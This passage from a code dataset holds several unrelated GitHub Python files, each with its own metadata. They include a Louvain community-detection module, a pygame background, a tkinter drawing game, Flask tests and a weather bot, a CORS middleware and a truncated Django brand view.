= best_node_to_comm[j]\n if neighbor_comm in visited_communities:\n continue\n\n # Remove node i from its community and place it in the community\n # of its neighbor j\n candidate_node_to_comm = best_node_to_comm.copy()\n candidate_node_to_comm[i] = neighbor_comm\n\n candidate_Q = compute_Q(candidate_node_to_comm)\n delta_Q = candidate_Q - best_Q\n if delta_Q > max_delta_Q or (force_merge and not max_delta_Q):\n updated_node_to_comm = candidate_node_to_comm\n max_delta_Q = delta_Q\n\n visited_communities.add(neighbor_comm)\n\n if best_node_to_comm != updated_node_to_comm:\n best_node_to_comm = updated_node_to_comm\n is_updated = True\n\n return best_node_to_comm\n\n\ndef run_second_phase(node_to_comm, adj_matrix, true_partition):\n \"\"\"\n All nodes in the same community are grouped together and a new network is\n built where nodes are the communities from the previous phase. Any links\n between nodes of the same community are now represented by self-loops on\n the new community node and links from multiple nodes in the same community\n to a node in a different community are represented by weighted edges\n between communities.\n\n From: https://en.wikipedia.org/wiki/Louvain_modularity#Algorithm\n \"\"\"\n\n comm_to_nodes = defaultdict(lambda: [])\n for i, comm in enumerate(node_to_comm):\n comm_to_nodes[comm].append(i)\n node_clusters = list(comm_to_nodes.values())\n\n new_adj_matrix, new_true_partition = [], []\n for i, cluster in enumerate(node_clusters):\n true_cluster = [v for u in cluster for v in true_partition[u]]\n row_vec = []\n for j, neighbor_cluster in enumerate(node_clusters):\n if i == j: # Sum all intra-community weights and add as self-loop\n edge_weights = (get_lt_adj_matrix_entry(u, v, adj_matrix)\n for u, v in get_all_edges(cluster))\n edge_weight = 2 * sum(edge_weights)\n else:\n edge_weights = (get_lt_adj_matrix_entry(u, v, adj_matrix)\n for u in cluster for v in neighbor_cluster)\n edge_weight = sum(edge_weights)\n\n row_vec.append(edge_weight)\n\n new_true_partition.append(true_cluster)\n new_adj_matrix.append(row_vec)\n\n return new_adj_matrix, new_true_partition\n\n\n#########\n# EXPORTS\n#########\n\n\ndef detect_communities(adj_matrix, size=None):\n optimal_adj_matrix = adj_matrix\n node_to_comm = initialize_communities(adj_matrix)\n true_partition = [[i] for i in range(len(adj_matrix))]\n\n is_optimal = False\n while not is_optimal:\n optimal_node_to_comm = run_first_phase(\n node_to_comm,\n optimal_adj_matrix,\n size\n )\n\n if optimal_node_to_comm == node_to_comm:\n if not size:\n break\n\n optimal_node_to_comm = run_first_phase(\n node_to_comm,\n optimal_adj_matrix,\n size,\n force_merge=True\n )\n\n optimal_adj_matrix, true_partition = run_second_phase(\n optimal_node_to_comm,\n optimal_adj_matrix,\n true_partition\n )\n\n if size and len(true_partition) == size:\n break\n\n node_to_comm = initialize_communities(optimal_adj_matrix)\n\n return true_partition\n\n\ndef create_adj_matrix_for_comms(adj_matrix, partition, starting_node):\n comm_adj_matrix = []\n buffer_edge_vecs = [[0.0] for _ in range(starting_node)]\n for i, community in enumerate(partition):\n comm_edge_vecs = []\n for j, neighbor_comm in enumerate(partition):\n if j > i:\n break\n\n edge_vecs = []\n for u, v in product(community, neighbor_comm):\n edge_vec = get_lt_adj_matrix_entry(u, v, adj_matrix)\n edge_vecs.append(edge_vec)\n\n avg_edge_vec = list(map(mean, zip(*edge_vecs)))\n comm_edge_vecs.append(avg_edge_vec)\n\n comm_adj_matrix.append(buffer_edge_vecs + comm_edge_vecs) # QUESTION: What are these buffer vecs for?\n\n return comm_adj_matrix\n\n\ndef create_comm_graphs(partition, adj_matrix):\n for community in partition:\n comm_adj_matrix = []\n for i, src in enumerate(community):\n edge_vecs = []\n for j, targ in enumerate(community):\n if j > i:\n break\n\n edge_vec = get_lt_adj_matrix_entry(src, targ, adj_matrix)\n edge_vecs.append(edge_vec)\n\n comm_adj_matrix.append(edge_vecs)\n\n yield comm_adj_matrix\n","repo_name":"vishalbelsare/graphlou","sub_path":"graphlou/louvain.py","file_name":"louvain.py","file_ext":"py","file_size_in_byte":9518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31387719908","text":"num=int(input(\"Type a interger number:\"))\nwhile (num>0):\n reminder=num%10\n if (reminder!=0 and reminder!=1):\n print(\"number is not binary \")\n break\n num=num//10\n if(num==0):\n print(\"Number is binary\")\n # reverse=(reverse*10)+reminder\n #num=num//10\n# print(\"Reverse number is: \",reverse)","repo_name":"nohannah/Python_Question","sub_path":"check_binary.py","file_name":"check_binary.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35319547491","text":"import sys, os, pygame, random\n\nclass Background:\n def __init__(self, screen, width, height):\n self.width = width; self.height = height\n self.screen = screen\n self.one = self.fo(\"space1\")\n self.two = self.fo(\"space2\")\n self.three = self.fo(\"space3\")\n\n self.oney = 0\n self.twoy = 100\n self.threey = 500\n\n def fo(self, image):\n im = pygame.image.load(os.path.join(\"bilder\", image + \".png\")).convert()\n im = pygame.transform.scale(im, (self.width, self.width))\n im.set_colorkey((0,0,0))\n return im\n\n def move(self):\n self.oney -= 5\n if self.oney < -self.width:\n self.oney = 0\n self.twoy -= 7\n if self.twoy < -self.width:\n self.twoy = 0\n self.threey -= 10\n if self.threey < -self.width:\n self.threey = 0\n\n def blit(self):\n self.move()\n for offset in (0, self.width, 2*self.width):\n self.screen.blit(self.one, (0, self.oney + offset))\n self.screen.blit(self.two, (0, self.twoy + offset))\n self.screen.blit(self.three, (0, self.threey + offset))\n","repo_name":"adamse/wowhack2","sub_path":"background.py","file_name":"background.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30422674244","text":"import os\nfrom io import open\nfrom distutils.core import setup\nfrom setuptools import find_packages\n\nDESCRIPTION = (\n \"greentea-host (htrun) is a command line tool \"\n \"that enables automated testing on embedded platforms.\"\n)\nOWNER_NAMES = \"Mbed team\"\nOWNER_EMAILS = \"support@mbed.com\"\n\nrepository_dir = os.path.dirname(__file__)\n\n\ndef read(fname):\n \"\"\"Read the string content of a file.\n\n Args:\n name: the name of the file to read relative to this file's directory.\n\n Returns:\n String content of the opened file.\n \"\"\"\n with open(os.path.join(repository_dir, fname), mode=\"r\") as f:\n return f.read()\n\n\nwith open(os.path.join(repository_dir, \"requirements.txt\")) as fh:\n requirements = fh.readlines()\n\nwith open(os.path.join(repository_dir, \"test_requirements.txt\")) as fh:\n test_requirements = fh.readlines()\n\npython_requires = \">=3.5.*,<4\"\nsetup(\n name=\"greentea-host\",\n description=DESCRIPTION,\n long_description=read(\"README.md\"),\n long_description_content_type=\"text/markdown\",\n author=OWNER_NAMES,\n author_email=OWNER_EMAILS,\n maintainer=OWNER_NAMES,\n maintainer_email=OWNER_EMAILS,\n url=\"https://github.com/ARMmbed/greentea\",\n packages=find_packages(\"src\"),\n package_dir={\"\": \"src\"},\n license=\"Apache-2.0\",\n test_suite=\"test\",\n entry_points={\n \"console_scripts\": [\"htrun=htrun.htrun:main\"],\n },\n classifiers=(\n \"Development Status :: 5 - Production/Stable\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Build Tools\",\n \"Topic :: Software Development :: Embedded Systems\",\n \"Topic :: Software Development :: Testing\",\n ),\n include_package_data=True,\n use_scm_version=True,\n python_requires=python_requires,\n install_requires=requirements,\n tests_require=test_requirements,\n extras_require={\"pyocd\": [\"pyocd>=0.32.0\"]},\n)\n","repo_name":"ARMmbed/greentea","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"37"} +{"seq_id":"33798578511","text":"#!/usr/bin/python\n#JustGotFileStreamToWork.py\n\nfrom tkinter import *\nfrom tkinter.colorchooser import askcolor as ac\nfrom pyscreenshot import grab\nimport random\nimport Pmw\n\n__author__ = \"Emily Sheehan - Coder & Procrastinator\"\n__version__ = 1.0\n\n\"\"\"Welcome to my final project. This application contains two main sections: \n the regular drawing app and the drawing game.\n \n I drew my inspiration from Microsoft Paint, although my app has just a fraction\n of the features and tools. Nonetheless, I created the \"inverted infinity\" tool. \n The application uses tkinter for graphics. \n\"\"\"\n\n\nclass start_up():\n \"\"\"This is called to initialize the application. It allows user to choose which \n path they'd like to follow (either game or drawing), and gives instructions.\"\"\"\n \n def __init__(self):\n self.start = Tk()\n self.start.title(\"Emily's Final Project - Take 2\") #take 2 b/c take1 was a disaster\n self.start.geometry(\"300x200\")\n \n self.msgs = Pmw.Balloon(self.start)\n \n \n self.buttonFrame = Frame(self.start, background=\"green\")\n \n \n self.doodleButton = Button(self.start, text=\"Doodle\", command=self.draw)\n self.doodleButton.pack()\n \n self.msgs.bind(self.doodleButton, \"click here to simply draw!\")\n \n self.play_game = Button(self.start, text=\"Play A Game\", command=self.play)\n self.play_game.pack()\n self.msgs.bind(self.play_game, \"click here for a two person game!\")\n \n self.instructions = Label(self.start, text=\"To simply draw, click 'Doodle'.\\n\" +\n \"\\n\" +\n \"For the game, two players are needed.\\n\" + \n \"P1 must draw the word \\n\" +\n \" given on the screen in the allotted time. \\n\" +\n \"P2 must then guess correctly the word in time.\")\n self.instructions.configure(background=\"dodger blue\", foreground=\"white\")\n self.instructions.pack()\n self.start.mainloop()\n \n def draw(self):\n Painter() #makes a Paint object\n def play(self):\n Game().start_it() #makes a Game object\n \nclass Painter():\n \"\"\"This class creates the canvas and controls all of the drawing and artist interaction.\"\"\"\n \n def __init__(self, gameActive=False):\n \n self.defaultPen = 3.0 \n self.regularCol = 'black'\n \n \n self.root = Tk()\n self.root.title(\"Emily's Final Project\")\n self.root.geometry('%dx%d+%d+%d' % (600, 600, 0, 23)) #positions at these coordinates on the comp. screen\n \n self.picker = Tk()\n self.picker.title(\"Options\")\n self.picker.geometry('%dx%d+%d+%d' % (273, 150, 615, 23))\n self.shapeVar = StringVar(self.root)\n self.shapeVar.set(\"Line\")\n \n #Top frame that contains pen, erase, take pic, color\n self.option_menu_top = Frame(self.picker, width=500, height=100)\n self.option_menu_top.config(background=\"black\", padx=10, pady=10)\n self.option_menu_top.grid(row=0, columnspan=4)\n \n #bottom frame that contains slider and shapes\n self.option_menu_bottom = Frame(self.picker, background=\"green\", width=500, height=100)\n self.option_menu_bottom.grid(row=1, columnspan=4)\n \n\n self.pen = Button(self.option_menu_top, text=\"Pen\", command=self.use_pen, cursor=\"spraycan\")\n self.pen.config(padx=5, pady=5)\n self.pen.grid(row=0, column=1)\n\n self.color = Button(self.option_menu_top, text=\"Color\", command=self.choose_color)\n self.color.config(padx=5, pady=5)\n self.color.grid(row=0, column=2)\n \n self.eraser = Button(self.option_menu_top, text=\"Eraser\", command=self.use_eraser, cursor=\"cross_reverse\")\n self.eraser.config(padx=5, pady=5) \n self.eraser.grid(row=0, column=3)\n \n self.save = Button(self.option_menu_top, text=\"Save Drawing\", command=self.save_img)\n self.save.config(padx=5, pady=5)\n self.save.grid(row=0, column=4)\n \n self.shapes = [\"Choose A Shape\", \"Line\", \"Inverted Infinity\", \"Square\", \"Circle\"]\n self.drawShapes = OptionMenu(self.option_menu_top, self.shapeVar, *self.shapes)\n self.drawShapes.config(padx=5, pady=5) \n self.drawShapes.grid(row=2, columnspan=4)\n\n self.penSizeLabel = Label(self.option_menu_bottom, text=\"Pen Size: \")\n self.penSizeLabel.grid(row=0,columnspan=4)\n \n self.chooseSize = Scale(self.option_menu_bottom, from_=1, to=15, orient=HORIZONTAL)\n self.chooseSize.set(self.defaultPen)\n self.chooseSize.grid(row=1, columnspan=4)\n\n self.canvasDraw = Canvas(self.root, bg='white', width=600, height=600) #canvas to draw on\n self.canvasDraw.pack()\n \n self.setup() \n \n if not gameActive:\n self.root.mainloop()\n\n def setup(self):\n \"\"\"This method basically just sets everything up for the canvas.\n It sets all of the variables to their default so that the user\n can begin to draw.\"\"\"\n \n self.lastX = None #none b/c haven't clicked/dragged\n self.lastY = None\n \n #gets all the current presets \n self.line_width = self.chooseSize.get()\n self.shape = self.shapeVar.get()\n self.color = self.regularCol\n self.eraser_on = False\n self.triggeredB = self.pen #tool in use\n self.canvasDraw.bind('', self.paint) #binds mouse motion to paint function\n self.canvasDraw.bind('', self.reset) \n\n def use_pen(self):\n \"\"\"Pen tool: calls activate button which initiates drawing with pen\"\"\"\n \n self.triggerTool(self.pen)\n\n def choose_color(self):\n \"\"\"Opens color dialogue box to choose paint color.\"\"\"\n \n self.eraser_on = False\n self.color = ac(color=self.color)[1]\n\n def use_eraser(self):\n \"\"\"Sets pen tool to white\"\"\"\n \n self.triggerTool(self.eraser, erasing=True)\n \n def save_img(self):\n \"\"\"Takes screenshot of screen at specific coordinates.\n These coordinates are the coordinates where the canvas is \n placed on the screen.\"\"\"\n \n im = grab(bbox=(0, 43, 600, 600))\n im.show() #opens it in preview\n\n def triggerTool(self, toolClicked, erasing=False):\n \"\"\"Takes button clicked (tool chosen) and sets\n the necessary variables for paint function.\"\"\"\n \n self.triggeredB.config(relief=RAISED)\n toolClicked.config(relief=SUNKEN)\n self.triggeredB = toolClicked\n self.eraser_on = erasing\n\n def paint(self, event):\n \"\"\"Method responsible for the actual \"drawing\" on the \n canvas. It uses the variables set in triggeredTool()\n to draw apropriately. \"\"\"\n \n #print(\"hi\")\n self.line_width = self.chooseSize.get()\n \n if self.eraser_on:\n paint_color = 'white' \n else:\n paint_color = self.color\n \n if self.lastX and self.lastY:\n \n if self.shapeVar.get() == \"Line\":\n self.canvasDraw.create_line(self.lastX, self.lastY, event.x, event.y,\n width=self.line_width, fill=paint_color,\n capstyle=ROUND, smooth=TRUE, splinesteps=30)\n \n if self.shapeVar.get() == \"Square\":\n self.canvasDraw.create_rectangle(self.lastX, self.lastY, event.x + self.line_width,\n event.y + self.line_width, fill=paint_color, outline=paint_color)\n if self.shapeVar.get() == \"Circle\":\n self.canvasDraw.create_oval(self.lastX, self.lastY, event.x + self.line_width,\n event.y + self.line_width, fill=paint_color, outline=paint_color)\n if self.shapeVar.get() == \"Inverted Infinity\":\n self.canvasDraw.create_polygon(self.lastX, self.lastY, \n (event.x + self.line_width)/2, (event.y + self.line_width)/2,\n event.x + self.line_width, event.y + self.line_width, fill=paint_color,\n outline=paint_color)\n \n self.lastX = event.x\n self.lastY = event.y \n\n def reset(self, event):\n self.lastX, self.lastY = None, None\n\nclass Game(Painter):\n \"\"\"This class inherits from the Paint class. In theory, it is supposed to run\n a game like \"Draw Something\" where one player is given a word to draw within an\n amt. of time and the other player has to guess.\n \n However, this class is not running and if chosen in the start up menu, it will just \n act like a regular Painter() object.\n \n On paper, I think it works, but there are likely some errors in the code that I am \n unaware of because it is not running properly. \"\"\"\n \n def __init__(self):\n Painter.__init__(self, True) #takes everything \n self.options = [\"Dog\", \"Cat\", \"Bird\", \"Giraffe\",\n \"Elephant\", \"Human\", \"Pencil\",\n \"Cheeseburger\", \"Charlie\", \"Monkey\",\n \"Bagel\", \"Frog\", \"Pig\", \"Apple\", \n \"Strawberry\", \"Carrot\"]\n #possible drawing choices \n self.countdown_start_time = 30 #time on the clock to draw(seconds)\n self.time_left = 0\n self.user_guess = \"\"\n \n self.p1_score = 0 #player scores\n self.p2_score = 0\n self.num_rounds = 0 #if even, p1=drawer. if odd, p2 = drawer\n \n self.score_board = Tk() #scoreboard window\n self.score_board.geometry('%dx%d+%d+%d' % (364, 200, 900, 23))\n self.score_board.configure(bg=\"dodger blue\")\n self.score_board.grid_propagate(False)\n \n self.msg = Pmw.Balloon(self.score_board)\n \n \n ###ALL COUNTDOWN RELATED THINGS ARE COMMENTED OUT BC COULDNT GET IT TO WORK###\n #self.countdown_frame = Frame(self.score_board, bg=\"red\", width=80, height=80)\n #self.countdown_frame.\n #self.countdown_label = Label(self.countdown_frame, text =\"TIMER\", fg=\"Blue\")\n #self.countdown_label.grid(row=0, column=0)\n \n self.word_frame = Frame(self.score_board, width=80, height=80)\n self.word_frame.grid(row=0, column=0, padx=10, pady=10)\n \n self.score_frame = Frame(self.score_board, width=80, height=80)\n self.score_frame.grid(row=0, column=1,padx=10, pady=10)\n \n self.word_label = Label(self.word_frame, text=\"Current Word: \\n\")\n self.word_label.grid(row=0, column=0, sticky=\"nesw\")\n \n self.score_p1_label = Label(self.score_frame, fg=\"black\", text= \"P1: \" + \"pts\")\n self.score_p1_label.grid(row=0, column=0,padx=10, pady=10)\n \n self.score_p2_label = Label(self.score_frame, fg=\"black\", text=\"P2: \" + str(self.p2_score) + \"pts\")\n self.score_p2_label.grid(row=0, column=1, padx=10, pady=10) \n \n self.startButton = Button(self.score_board, text=\"Let's Begin\", command=self.startGame) \n self.startButton.grid(row=1, columnspan=2, padx=10, pady=10)\n #self.start_it()\n self.msg.bind(self.startButton, \"Instructions: to begin, click this button. \\n\"\n + \"The game requires 2 players. The first player will be given a word \\n\"\n + \"and must draw this word. The second player will then guess the drawing. \\n\"\n + \"points will be added for each correct guess\")\n \n \n self.score_board.mainloop()\n \n #print(self.word)\n def startGame(self):\n \n self.startButton.destroy()\n if len(self.options) == 0:\n print('Game Over!\\n' +\n 'Final Score: \\n' + \n 'Player 1: ' + str(self.p1_score) + '\\n' +\n 'Player 2: ' + str(self.p2_score) + '\\n')\n else: \n self.word = random.choice(self.options)\n self.options.remove(self.word)\n self.score_p1_label.configure(text= \"P1: \" + str(self.p1_score) + \" pts\")\n self.score_p2_label.configure(text=\"P2: \" + str(self.p2_score) + \" pts\")\n self.word_label.configure(text=\"Current Word: \\n\" + self.word)\n \n self.endButton = Button(self.score_board, text=\"I'm Done Drawing\", command=self.get_guess)\n self.endButton.grid(row=1, column=0, padx=10, pady=10)\n #self.countdown(30)\n \n def start_it(self):\n \"\"\"This method is called immediately when the user chooses to play the game.\n It makes the word visible as well as the scoreboard and clock.\"\"\"\n pass\n \n #self.countdown(30)\n \n \n def update_score(self):\n \"\"\"Updates scoreboard after each round of drawing\"\"\"\n \n self.score_p1_label.configure(text=\"P1: \" + str(self.p1_score))\n self.score_p2_label.configure(text=\"P2: \" + str(self.p2_score))\n self.num_rounds += 1\n \n self.startGame()\n \n def check_guess(self, guessed_word):\n \"\"\"Checks player's guess against the actual randomly\n selected word.\"\"\"\n self.answer_button.destroy()\n self.answer.destroy()\n if self.num_rounds % 2 == 0: #if p1 drawing\n if guessed_word.upper() == self.word.upper():\n self.p1_score += 10\n self.update_score()\n else:\n self.score_p1_label.configure(text=\"WRONG!\")\n else: #if p2 drawing\n if guessed_word.upper() == self.word.upper():\n self.p2_score += 10\n self.update_score()\n else:\n self.score_p1_label.configure(text=\"WRONG!\")\n nextRound = Button(self.score_board, text=\"Next Round\", command=self.nextRound)\n nextRound.grid(row=3, columnspan=3, padx=10, pady=10)\n #self.startGame()\n \n def nextRound(self):\n \"\"\"calls startGame for subsequent rounds after the first\"\"\"\n self.startGame()\n \n def get_guess(self):\n \"\"\"Gets guess from entry field\"\"\"\n self.endButton.destroy()\n \n self.answer = Entry(self.score_board)\n self.answer.grid(row=2, column=0)\n \n self.word_label.configure(text=\"WORD HIDDEN\")\n \n self.answer_button=Button(self.score_board, text=\"Guess\", \n command=lambda:self.check_guess(self.answer.get()))\n self.answer_button.grid(row=3, column=0, padx=10, pady=10)\n \n def countdown(self, count):\n \"\"\"starts countdown for the drawer. This method was taken from Bryan Oakley\n on stack overflow, and modified by me to update the tkinter GUI.\n \n It does not work which is why it is never used in my code. When I delete the #s, it \n lags a ton and does not refresh the label to show the countdown ticks, but waits 30 seconds, \n the proper time nonetheless, until it calls the entry box (which is right, but it never displays\n the countdown)\"\"\"\n \n if count > 0:\n count -=1\n #self.countdown_label['text'] = count\n #self.countdown_label.configure(text=count)\n self.countdown_frame.after(1000, self.countdown(count))\n if count == 0:\n self.countdown_label.configure(text=\"TIME'S UP\")\n self.word_label.configure(text=\"WORD HIDDEN\")\n self.get_guess()\n \n \"\"\"if remaining is not None:\n remaining = remaining\n self.countdown_label.config(text=\"%d\" % remaining) #%d refers to integer in tupple\n if remaining <= 0:\n \n #self.check_guess(self.user_guess)\n else:\n self.countdown_label.config(text=\"%d\" % remaining)\n remaining -= 1\n self.countdown_frame.after(1000, self.countdown()) #calls to update clock every second (1000 milliseconds).\"\"\"","repo_name":"emilyws27/python-draw","sub_path":"JustGotFileStreamToWork.py","file_name":"JustGotFileStreamToWork.py","file_ext":"py","file_size_in_byte":16519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11783962932","text":"#!env/bin/python\nimport os\nimport unittest\n\nfrom config import basedir\nfrom app import app, db\nfrom app.models import User, Event, Location\n\nclass TestCase(unittest.TestCase):\n def setUp(self):\n app.config['TESTING'] = True\n app.config['WTF_CSRF_ENABLED'] = False\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'test.db')\n self.app = app.test_client()\n db.create_all()\n\n def test_user_model(self):\n u1 = User(nickname='john', social_id='hkjasdf')\n u2 = User(nickname='man', social_id='haksdlf')\n db.session.add(u1)\n db.session.add(u2)\n db.session.commit()\n u1 = User.query.get(1)\n u2 = User.query.get(2)\n assert u1.nickname == 'john'\n assert u2.nickname == 'man'\n\n def test_follow(self):\n u1 = User(nickname='john', social_id='hkjasdf')\n u2 = User(nickname='man', social_id='haksdlf')\n db.session.add(u1)\n db.session.add(u2)\n db.session.commit()\n assert u1.unfollow(u2) is None\n u = u1.follow(u2)\n db.session.add(u)\n db.session.commit()\n assert u1.follow(u2) is None\n assert u1.is_following(u2)\n assert u1.followed.count() == 1\n assert u1.followed.first().nickname == 'man'\n assert u2.followers.count() == 1\n assert u2.followers.first().nickname == 'john'\n u = u1.unfollow(u2)\n db.session.add(u)\n db.session.commit()\n assert not u1.is_following(u2)\n assert u1.followed.count() == 0\n assert u2.followers.count() == 0\n\n # def test_follow_posts(self):\n # # make four users\n # u1 = User(nickname='john', email='john@example.com')\n # u2 = User(nickname='susan', email='susan@example.com')\n # u3 = User(nickname='mary', email='mary@example.com')\n # u4 = User(nickname='david', email='david@example.com')\n # db.session.add(u1)\n # db.session.add(u2)\n # db.session.add(u3)\n # db.session.add(u4)\n # # make four posts\n # utcnow = datetime.utcnow()\n # p1 = Post(body=\"post from john\", author=u1, timestamp=utcnow + timedelta(seconds=1))\n # p2 = Post(body=\"post from susan\", author=u2, timestamp=utcnow + timedelta(seconds=2))\n # p3 = Post(body=\"post from mary\", author=u3, timestamp=utcnow + timedelta(seconds=3))\n # p4 = Post(body=\"post from david\", author=u4, timestamp=utcnow + timedelta(seconds=4))\n # db.session.add(p1)\n # db.session.add(p2)\n # db.session.add(p3)\n # db.session.add(p4)\n # db.session.commit()\n # # setup the followers\n # u1.follow(u1) # john follows himself\n # u1.follow(u2) # john follows susan\n # u1.follow(u4) # john follows david\n # u2.follow(u2) # susan follows herself\n # u2.follow(u3) # susan follows mary\n # u3.follow(u3) # mary follows herself\n # u3.follow(u4) # mary follows david\n # u4.follow(u4) # david follows himself\n # db.session.add(u1)\n # db.session.add(u2)\n # db.session.add(u3)\n # db.session.add(u4)\n # db.session.commit()\n # # check the followed posts of each user\n # f1 = u1.followed_posts().all()\n # f2 = u2.followed_posts().all()\n # f3 = u3.followed_posts().all()\n # f4 = u4.followed_posts().all()\n # assert len(f1) == 3\n # assert len(f2) == 2\n # assert len(f3) == 2\n # assert len(f4) == 1\n # assert f1 == [p4, p2, p1]\n # assert f2 == [p3, p2]\n # assert f3 == [p4, p3]\n # assert f4 == [p4]\n\n def test_check_saved_location(sefl):\n # changes must be made in the models.py otherwise test fails\n u = User(nickname='john', email='john@example.com')\n db.session.add(u)\n db.session.commit()\n l1 = Location(name='Harare', latitude=\"88\", longitude='-90')\n assert not (Location.check_saved_location(l1.name, l1.latitude, l1.longitude))\n db.session.add(l1)\n db.session.commit()\n e1 = Event(name=\"Event 1\", author=u, venu=l1)\n l2 = Location(name='Harare', latitude=\"88\", longitude='-90') # use l1 coordinates\n assert (Location.check_saved_location(l2.name, l2.latitude, l2.longitude))\n l3 = Location(name='Ruwa', latitude=\"-90\", longitude='88') # revese coordinates\n assert not (Location.check_saved_location(l3.name, l3.latitude, l3.longitude))\n db.session.add(l3)\n db.session.commit()\n p2 = Event(name=\"Event 2\", author=u, venu=l1)\n\n def tearDown(self):\n db.session.remove()\n db.drop_all()\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"millatidy/linkup","sub_path":"LinkUp/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36311883110","text":"from werkzeug.datastructures import Headers\n\n\nclass CORSMiddleware(object):\n \"\"\"Add Cross-origin resource sharing headers to every request.\"\"\"\n\n def __init__(self, app, origins, paths=None):\n self.app = app\n self.origins = origins\n self.paths = paths or []\n\n def __call__(self, environ, start_response):\n def add_cors_headers(status, headers, exc_info=None):\n headers = Headers(headers)\n\n if environ.get(\"HTTP_ORIGIN\") in self.origins and any(\n environ.get(\"PATH_INFO\").startswith(path) for path in self.paths\n ):\n headers.add(\"Access-Control-Allow-Origin\", environ[\"HTTP_ORIGIN\"])\n\n return start_response(status, headers, exc_info)\n\n if environ.get(\"REQUEST_METHOD\") == \"OPTIONS\":\n add_cors_headers(\"200 Ok\", [(\"Content-Type\", \"text/plain\")])\n return [b\"200 Ok\"]\n\n return self.app(environ, add_cors_headers)\n","repo_name":"ivan-ngchakming/facial-recognition-api","sub_path":"server/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73867394668","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\nfrom flask import Flask, Response, request\nfrom configparser import ConfigParser\nimport json\nimport urllib.request\n\n\napp = Flask(__name__)\nparser = ConfigParser()\nparser.read('config/config.ini')\n\ndef read_configuration():\n\n parser = ConfigParser()\n parser.read('config/config.ini')\n\n print(parser.get('openweathermap', 'user_api_key'))\n print(parser.get('application', 'server_name'))\n\n\n\n@app.route('/')\ndef get_app_info():\n return \"Appen verkar!\"\n\n\n@app.route('/', methods=['POST'])\ndef get_weather():\n location = request.form.get('text')\n token = request.form.get('token')\n\n valid_token = parser.get('mattermost', 'authorization_token')\n require_authorization = parser.get('mattermost', 'require_authorization')\n user_api_key = parser.get('openweathermap', 'user_api_key')\n measurement_unit = parser.get('openweathermap', 'unit')\n\n if require_authorization == 'true':\n if token == valid_token:\n weather_api_url = openweathermap_url_builder(location, False, user_api_key, measurement_unit)\n #return weather_api_url\n else:\n return 'Nei.'\n else:\n return 'accept.'\n\n # If the /weather command contains no arguments, the default action is to display a weather overview.\n if location == 'None':\n location = 'Bergen'\n else:\n weather_api_url = openweathermap_url_builder(urllib.parse.quote(location), False, user_api_key, measurement_unit)\n\n weather_data = urllib.request.urlopen(weather_api_url)\n weather_data_text = weather_data.read().decode('utf-8')\n weather_data_json = json.loads(weather_data_text)\n\n return weather_data_json\n # json_data = 'test'\n # mattermost_text = build_response_text(json_data)\n # return mattermost_text\n\n return 'Data me fekk var: ' + str(location) + str(token)\n\n\ndef get_weather_icon_url(icon_code, description):\n icon_url = '![desc](http://openweathermap.org/img/w/{code}.png \"{desc}\")'.format(code=icon_code, desc=description)\n return icon_url\n\n\ndef build_forecast_response_text(data):\n return 'test'\n\n\ndef build_weather_response_text(data):\n return 'test'\n\n\ndef build_weather_overview_text(data):\n return 'test'\n\n\ndef openweathermap_url_builder(location, forecast, user_api_key, unit):\n forecast_api_url = 'http://api.openweathermap.org/data/2.5/forecast/daily?q='\n weather_api_url = 'http://api.openweathermap.org/data/2.5/weather?q='\n\n if forecast:\n resulting_api_url = forecast_api_url + str(location) + '&mode=json&units=' + unit + '&APPID=' + user_api_key + '&cnt=7'\n else:\n resulting_api_url = weather_api_url + str(location) + '&mode=json&units=' + unit + '&APPID=' + user_api_key\n\n return resulting_api_url\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=True)\n","repo_name":"gbThreepwood/Weatherbot","sub_path":"weatherbot.py","file_name":"weatherbot.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19313017282","text":"from django.shortcuts import render\nfrom django.http import JsonResponse \nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required, permission_required #Manejo de permisos\n\n# Create your views here.\nfrom apps.marca.models import *\n\n\n\n@login_required\t\ndef marca_ajax (request):\n if request.method == 'POST' and request.is_ajax():\n data = []\n try:\n action = request.POST['action']\n if action == 'buscardatos':\n for i in Marca.objects.all():\n data.append(i.toJSON())\n elif action == 'crear':\n\n ma = Marca()\n ma.nombre_marca = request.POST['nombre_marca']\n ma.descripcion_marca = request.POST['descripcion'] \n ma.usuario = User.objects.get(pk=request.user.id)\n ma.save()\n\n if request.FILES: \n imagen = request.FILES.get(\"imagen\") \n imagen.name = str(ma.pk)+\"_\"+imagen.name\n ma.img_marca = imagen\n ma.save()#Actualizamos la ruta de la imagen con la concatenacion del id recien creado\n \n data = {'tipo_accion': 'crear','correcto': True}\n\n elif action == 'editar':\n\n ma = Marca.objects.get(pk=request.POST['id'])\n ma.nombre_marca = request.POST['nombre_marca']\n ma.descripcion_marca = request.POST['descripcion']\n\n if request.FILES:\n if ma.img_marca.url != \"/media/img_defecto.jpg\":\n ma.img_marca.delete()\n\n imagen = request.FILES.get(\"imagen\") \n 